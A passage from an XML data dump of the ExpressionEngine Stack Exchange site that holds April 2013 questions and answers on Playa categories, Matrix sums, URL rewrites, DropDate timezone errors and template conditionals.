Thanks in advance for any insight or help.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2013-04-27T23:03:38.573" Title="Embed variables in the Query Module for expressionengine" Tags="|embeds|query|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9749" PostTypeId="2" ParentId="9641" CreationDate="2013-04-26T13:56:38.850" Score="1" Body="&lt;p&gt;I have solved the issue by adding individual item option fields in the cart that allows the user to fill in their registration details.&#xA;I am going to use playa to allow the person setting up the event to select the registration fields they require.&lt;/p&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-04-26T13:56:38.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9751" PostTypeId="2" ParentId="9728" CreationDate="2013-04-26T14:16:19.670" Score="2" Body="&lt;p&gt;I've found a solution for this in the &lt;a href=&quot;https://bitbucket.org/webunder/ee2_config_template&quot; rel=&quot;nofollow&quot;&gt;Webunder EE2 config template repository&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db['expressionengine']['cachedir'] = APPPATH.&quot;cache/db_cache/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-04-26T14:16:19.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9752" PostTypeId="1" CreationDate="2013-04-26T14:19:01.237" Score="0" ViewCount="164" Body="&lt;p&gt;I have several areas of my website which content authors want they content to be available at their own domain name for identity and advertising reasons. I want to avoid setting up additional multisites as most of these are very small subsections of the much larger parent  site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the current url for a subsection wanting their own domain would look like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://domain.com/section/subsection/category/thisismysite&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/section/subsection/category/thisismysite&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the content users want to be able to access the site at&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://thisismysite.com&quot; rel=&quot;nofollow&quot;&gt;http://thisismysite.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major issues come when I want to keep the url short for additional subpages within the &quot;thisismysite&quot; sub section, say... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://thisismysite.com/about&quot; rel=&quot;nofollow&quot;&gt;http://thisismysite.com/about&lt;/a&gt; &#xA;would be the same as &#xA;&lt;a href=&quot;http://domain.com/section/subsection/category/thisismysite/about&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/section/subsection/category/thisismysite/about&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how i can accomplish this for my users?&lt;/p&gt;&#xA;" OwnerUserId="386" LastEditorUserId="281" LastEditDate="2013-04-29T13:29:13.697" LastActivityDate="2013-04-29T13:29:13.697" Title="Different Domains with URL Re-Writes" Tags="|url|htaccess|rewrite|domain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9753" PostTypeId="2" ParentId="9742" CreationDate="2013-04-26T14:19:25.020" Score="1" Body="&lt;p&gt;Based on the comments from madebyhippo's suggestion, use the free Session add-on (&lt;a href=&quot;http://devot-ee.com/add-ons/session-variables-plugin&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/session-variables-plugin&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your generic site header template (throughout the site), have a conditional similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}{exp:session_variables:set name=&quot;registration&quot; value=&quot;no&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on the page that get's shown on successful registration check this on a conditional and will prevent refresh issues.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;  {if &quot;{exp:session_variables:get name=&quot;registration&quot;}&quot; == &quot;no&quot;}&#xA;    {exp:session_variables:set name=&quot;registration&quot; value=&quot;yes&quot;}&#xA;    {!-- ADD YOUR GA CODE HERE --}&#xA;  {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on your server session reset it may be possible to re-trigger if they try that &quot;successful registration&quot; page at a later date, but that's going to be on extreme cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could even go to the further extreme of auto-submitting a user account edit form on the success page to save a custom user field and use that instead of the session variable.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-04-26T14:19:25.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9754" PostTypeId="2" ParentId="5345" CreationDate="2013-04-26T14:53:19.207" Score="0" Body="&lt;p&gt;We've recently released a plugin we had made for this on a project. It's available for free at Devot:ee. Check out String Divide, it might help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/string-divide&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/string-divide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-04-26T14:53:19.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9755" PostTypeId="2" ParentId="9741" CreationDate="2013-04-26T15:05:46.677" Score="3" Body="&lt;p&gt;Because your freebie conditional uses an {if:else} statement, it is considered an &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#global-advanced-conditionals&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;advanced&lt;/em&gt; conditional&lt;/a&gt;. Advanced conditionals are rendered after module/plugin tags are rendered (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html#rendering-stages&quot; rel=&quot;nofollow&quot;&gt;see: Rendering Stages&lt;/a&gt;). The safecracker tag in the else condition is getting parsed and executed before the condition is evaluated. The solution is to split it into two simple conditionals (example below) or to use the &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;IfElse plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freebie_3 == &quot;&quot;}&#xA;...&#xA;{/if}&#xA;{if freebie_3}&#xA;...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-04-26T15:05:46.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9756" PostTypeId="1" AcceptedAnswerId="9758" CreationDate="2013-04-26T15:09:10.927" Score="0" ViewCount="737" Body="&lt;p&gt;One of the main templates on my site, the product page, has a single products channel entry, and up to 3 playa children (also products). I'm trying to get the categories for playa children. Here's my test code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot; status=&quot;open|wide|feature|glory&quot;}&#xA;    &amp;lt;h1&amp;gt;Main Product: {title}&amp;lt;/h1&amp;gt;&#xA;    {exp:playa:children field=&quot;also_like&quot; status=&quot;open|wide&quot;}&#xA;        &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;{title_permalink='site/product'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt; &#xA;        &amp;lt;div class=&quot;age&quot;&amp;gt;Age: {categories show_group=&quot;5&quot; limit=&quot;1&quot; note=&quot;age range&quot;}{category_name}{/categories}&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;environ&quot;&amp;gt;Env: {categories show_group=&quot;6&quot; limit=&quot;1&quot; note=&quot;environment&quot;}{category_name}{/categories}&amp;lt;/div&amp;gt;&#xA;    {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another page manages to display the categories, but it's directly from the channel:entries tag, rather than going through the playa:children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2013-04-26T15:24:37.797" Title="Categories not appearing in playa:children" Tags="|playa|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9758" PostTypeId="2" ParentId="9756" CreationDate="2013-04-26T15:24:37.797" Score="4" Body="&lt;p&gt;NotoriousWebmaster - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Playa disables categories by default. You'll need to add disable= to over-ride the parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;also_like&quot; status=&quot;open|wide&quot; disable=&quot;members&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if that helps!&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-04-26T15:24:37.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9759" PostTypeId="1" AcceptedAnswerId="9765" CreationDate="2013-04-26T15:28:18.927" Score="1" ViewCount="308" Body="&lt;p&gt;The Matrix docs say: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;:average, :lowest, :highest, and :sum&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;These tags return the average, lowest, highest, or sum value of a given numeric column in your Matrix field.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have a matrix field that is all about hours spent on different activities and different weeks. I not only want to get the sum of each column (the weeks) but also the sum of each row (the activities) and if possible get the sum of every cell in the whole table. Is that possible or do with just Matrix or do I need to install something like the Simple Math Add-on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so instead of {matrix_field:sum col='week1'} is there something like {matrix_field:sum row_id=&quot;1&quot;}&lt;/p&gt;&#xA;" OwnerUserId="1217" LastActivityDate="2013-04-26T15:50:13.747" Title="Can I add together the values of the cells in each Matrix row?" Tags="|matrix|math|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9760" PostTypeId="2" ParentId="9748" CreationDate="2013-04-26T15:29:13.450" Score="0" Body="&lt;p&gt;Can you try by passing parse=&quot;inward&quot; parameter with query tag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT.....&quot; parse=&quot;inward&quot;}&#xA;&#xA;---------------&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-26T15:29:13.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9761" PostTypeId="2" ParentId="9759" CreationDate="2013-04-26T15:36:53.957" Score="0" Body="&lt;p&gt;If you are ok with php on output, how about &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$my_row_sum = {matrix_field:sum col='week1'} + {matrix_field:sum col='week2'} + etc...;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-04-26T15:36:53.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9762" PostTypeId="2" ParentId="9731" CreationDate="2013-04-26T15:39:00.787" Score="5" Body="&lt;p&gt;I try to always prefix custom fields with the channel name like so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;projects_fieldname&lt;/li&gt;&#xA;&lt;li&gt;case_studies_fieldname&lt;/li&gt;&#xA;&lt;li&gt;articles_fieldname&lt;/li&gt;&#xA;&lt;li&gt;about_fieldname&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Swap out &quot;fieldname&quot; for the actual custom field name of course. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside: I often start with the channel, then custom field type, then name. For example about_textarea_summary. There is a character limit so sometimes you have to be smart about abbreviation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then if you want to go the variable variable route you could make use of the channel short name variable like you described.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:description&quot; content=&quot;{{channel_short_name}_summary}&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your case you'd of course have 4 different custom fields named like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;projects_summary&lt;/li&gt;&#xA;&lt;li&gt;case_studies_summary&lt;/li&gt;&#xA;&lt;li&gt;articles_summary&lt;/li&gt;&#xA;&lt;li&gt;about_summary&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This method of course is going to run up against Parse Order as those variables are parsed during stage 5 as is the channel entries tags and there is no way of knowing which will come first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why using something like &lt;a href=&quot;https://github.com/croxton/Stash&quot;&gt;Stash&lt;/a&gt; nowadays is so great. You can also use segment variables because those are parsed earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if you used the same naming conventions for your channel custom fields as I described above and you have your channel short names set as the first segment of the url you could do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:description&quot; content=&quot;{{segment_1}_summary}&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One thing to note is in the case of your case_studies channel you might want to go with case-studies_summary for the custom field name if your URLs use dashes over underscores.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-04-26T16:15:40.273" LastActivityDate="2013-04-26T16:15:40.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9763" PostTypeId="1" AcceptedAnswerId="9766" CreationDate="2013-04-26T15:43:36.130" Score="2" ViewCount="724" Body="&lt;p&gt;I'm attempting to retrieve a cookie in index.php to record the value in a global_variable. I'd like to do it this way to avoid including PHP/plugin code on every template. Currently I have;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['global_vars']['user_location'] = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;cookie('user_location');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this throws the error;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Using $this when not in object context in&#xA;  /xx/xxx/xxx/index.php on line 28&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Am I allowed to do this sort of thing?&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2013-04-26T16:31:00.587" Title="Retrieving/setting cookie in index.php" Tags="|global-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9764" PostTypeId="1" CreationDate="2013-04-26T15:44:50.533" Score="2" ViewCount="257" Body="&lt;p&gt;I have a few member groups and I've setup matching Channels to manage restrictions for those different groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually know the answer to this question for a base install of EE. The only restriction option available on a Member Group basis is Channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any techniques for improving on this? Or maybe 3rd party Add-ons I'm not aware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg.&#xA;10 member groups all with restricted access just to entries they can edit/publish (ie named Channels). I now need to setup a News channel. All members can publish a news story that also needs to be 'tagged' with their business area (one of 10). An obvious option for this would be 1 Channel called News with 10 Categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issues is I don't want any member from member group 5 being able to edit or publish to member group 6. There isn't an option to restrict member groups by category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only option I can see at the moment is duplicating the News Channel 10 times! Applying Channel Assignment and including 10 channel names in my entries tag. Not very elegant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2013-10-11T17:57:45.570" Title="Options for Member Restriction of data (eg entries)" Tags="|members|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9765" PostTypeId="2" ParentId="9759" CreationDate="2013-04-26T15:50:13.747" Score="1" Body="&lt;p&gt;You could do this using Matrix and the &lt;a href=&quot;http://devot-ee.com/add-ons/math&quot; rel=&quot;nofollow&quot;&gt;Math add-on&lt;/a&gt; - but not in Matrix without any other add-ons/PHP.  I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-04-26T15:50:13.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9766" PostTypeId="2" ParentId="9763" CreationDate="2013-04-26T16:31:00.587" Score="1" Body="&lt;p&gt;This will not work as object isn't being initialized. You can use PHP $_COOKIE to get it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['global_vars']['user_location'] = $_COOKIE['user_location'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-26T16:31:00.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9767" PostTypeId="2" ParentId="9731" CreationDate="2013-04-26T16:45:45.060" Score="0" Body="&lt;p&gt;Unfortunately you pretty much need to have the &quot;same&quot; field for each channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prefixing the field names with channel short name is clever, or you could just output all of the variables in your loop. Nasty, but gets the job done, as any field name you call that doesn't exist, is simply ignored.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:description&quot; content=&quot;{projects_summary}{case_studies_summary}{articles_summary}{about_summary}&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="316" LastActivityDate="2013-04-26T16:45:45.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9768" PostTypeId="1" CreationDate="2013-04-26T16:57:00.173" Score="2" ViewCount="360" Body="&lt;p&gt;I'm using Stephen Lewis' now unsupported DropDate add-on to simplify selecting dates in the Control Panel. (Chiefly because I'm trying to use a fieldtype that allows me to disable selecting times. I want my Control Panel users to just pick a date. If there are other options to do this that I haven't seen, I'm open to them.) I'm using EE 2.5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I first noticed that the dates were outputting one day behind when just choosing a date. So if I selected &amp;amp; saved May 1 2013 in the entry, the output from the tag would be April 30 2013. (I'm also using Title Master to put the date into the entry's title using the DropDate fieldtype tag, and the same thing was happening there.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed that this was because the date saved was UTC and my server is 5 hours or more behind. I could, however, find no way to compensate for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After poking around on Devot:ee and in the readme files with the add-on, I found the git repository and the recommendation to use the re-written &lt;a href=&quot;https://github.com/experience/dropdate.ee_addon/tree/develop&quot; rel=&quot;nofollow&quot;&gt;Dev branch&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've given this a try, and can report that in my local, Mac/MAMP Pro environment things look right. Why they look right, I don't know. In my template I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{wedding-date-date format=&quot;l, F d, Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it just works. I should point out that, for another project, my php.ini file has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date.timezone = &quot;America/New_York&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same tag is storing the correct value in Title Master. (When I configured Title Master to include &lt;code&gt;{wedding-date-date format=&quot;F d, Y&quot; timezone=&quot;Greenwich&quot;}&lt;/code&gt;, it didn't have any impact or output the date differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On my server, however&lt;/strong&gt;, I'm continually seeing this error when Title Master updates the entry title:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An invalid timezone parameter was passed to DropDate.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's the tag output there, being bundled into the entry title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated &lt;code&gt;/etc/php5/apache2/php.ini&lt;/code&gt; on my server (Ubuntu) to have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date.timezone = &quot;America/New_York&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in it and reloaded/restarted Apache. I'm still seeing the same thing, including in template output. The output of the tag is simply:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An invalid timezone parameter was passed to DropDate.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whether or not I include the parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone run into this and gotten it working? I really need two things to work here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Admins able to just choose a date in the entry.&lt;/li&gt;&#xA;&lt;li&gt;Title Master to be able to insert that date field's formatted value into the entry title.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; I've downgraded MAMP Pro from PHP 5.4.4 to 5.3.14, using the default template which has &lt;code&gt;date.timezone = MAMP_timezone_MAMP&lt;/code&gt; &amp;amp; things worked fine locally. Going down to 5.2.17, less than the server's 5.2.4, broke things locally. Think I might see the issue...&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-04-26T17:23:03.303" LastActivityDate="2013-05-26T21:30:24.517" Title="Issues with date output with DropDate add-on" Tags="|add-on|date|dropdate|title-master|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9769" PostTypeId="2" ParentId="9414" CreationDate="2013-04-26T17:59:10.360" Score="1" Body="&lt;p&gt;You would need to use the same scope &lt;code&gt;scope=&quot;site&quot;&lt;/code&gt; when getting the lists as when setting, unless you have set the &lt;code&gt;stash_default_scope&lt;/code&gt; configuration value to 'site'.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-04-26T17:59:10.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9770" PostTypeId="2" ParentId="9731" CreationDate="2013-04-26T18:41:55.017" Score="2" Body="&lt;p&gt;If all you need is one field per channel, you could possibly use the oft-overlooked Channel Description field.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-04-26T18:41:55.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9771" PostTypeId="2" ParentId="9752" CreationDate="2013-04-26T18:54:25.790" Score="0" Body="&lt;p&gt;I had the same problem and somebody had a solution for me. I think it will be useful for you too. This &lt;strong&gt;free&lt;/strong&gt; add-on is called &lt;a href=&quot;https://github.com/averyvery/freeway&quot; rel=&quot;nofollow&quot;&gt;Freeway&lt;/a&gt;. Then you can just map up the desired URL with the actual URL like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;section/subsection/category/thisismysite/{{entry}} =&gt; {{entry}}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then people will be able to visit &lt;code&gt;/about&lt;/code&gt; and EE will treat it as if they visited section/subsection/category/thisismysite/about and use the appropriate template_group/template.&lt;/p&gt;&#xA;" OwnerDisplayName="user1292" LastActivityDate="2013-04-26T18:54:25.790" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9772" PostTypeId="1" AcceptedAnswerId="9781" CreationDate="2013-04-26T19:05:18.163" Score="0" ViewCount="54" Body="&lt;p&gt;I'm coming across a pretty strange error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've recently added 2000 entries. Taken a while, but everything is cleaned up and seems to be working well, except for one thing I've found today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entries are all property listings. The are organised by categories that are County/County based. i.e parent category is the Country and the child category is the County.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For any entry that has 'Ireland' as the parent category, the 'view' template is not fully loading. It only loads part way and then stops. I kind of get half a page. The index page is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've switched on template debugging, but that is not loading either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not quite sure where to start finding out what the issue is!&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-05-26T22:30:24.713" Title="View template not fully loading for a certain category [odd!]" Tags="|categories|error|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9773" PostTypeId="2" ParentId="9088" CreationDate="2013-04-26T19:56:49.333" Score="3" Body="&lt;p&gt;I’m using 2.5.5 and 1.09 and I’m also experiencing this problem with the return parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I check the rendered form markup I can see this in the HiddenFields &lt;code&gt;div&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;http://domain.com/templategroup/template&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whereas that value is just the path to the template where I’m using the &lt;code&gt;profile:edit:login&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and below that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;group/template&quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wherein the value is exactly the content entered in my &lt;code&gt;return=&lt;/code&gt; parameter in the &lt;code&gt;profile:edit:login&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anyone else experiencing this problem, here’s a hacky fix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you drop in a duplicate of the &lt;code&gt;RET&lt;/code&gt; hidden input right before the close your &lt;code&gt;profile:edit:login&lt;/code&gt; tag, the page will use that instead of the broken p:e generated one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;{path=&quot;group/template&quot;}&quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1290" LastActivityDate="2013-04-26T19:56:49.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9774" PostTypeId="2" ParentId="9739" CreationDate="2013-04-26T20:03:03.240" Score="3" Body="&lt;p&gt;Yes you can. I just tested with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries search:pt_assets=&quot;not IS_EMPTY&quot;}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;hr /&amp;gt;&#xA;{exp:channel:entries}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and definitely got only entries back that had Assets in the first set of entries; and all entries in the second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-04-26T20:03:03.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9775" PostTypeId="2" ParentId="9772" CreationDate="2013-04-26T20:28:51.817" Score="1" Body="&lt;p&gt;Where to start troubleshooting: If there's not too many, I would &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;take the entries with Ireland and take off the Ireland category. &lt;/li&gt;&#xA;&lt;li&gt;Then create 1 entry with Ireland as the category, but leave all the fields on the entry empty (other than required, but keep the data it as plain as possible).&lt;/li&gt;&#xA;&lt;li&gt;Then test, as it might be that there is a character in a field on the Ireland entries that is breaking the display. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-04-26T20:28:51.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9776" PostTypeId="2" ParentId="9768" CreationDate="2013-04-26T20:40:45.453" Score="1" Body="&lt;p&gt;Built a new server for the client and deployed there, with a newer version of PHP. Error has gone away.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-04-26T20:40:45.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
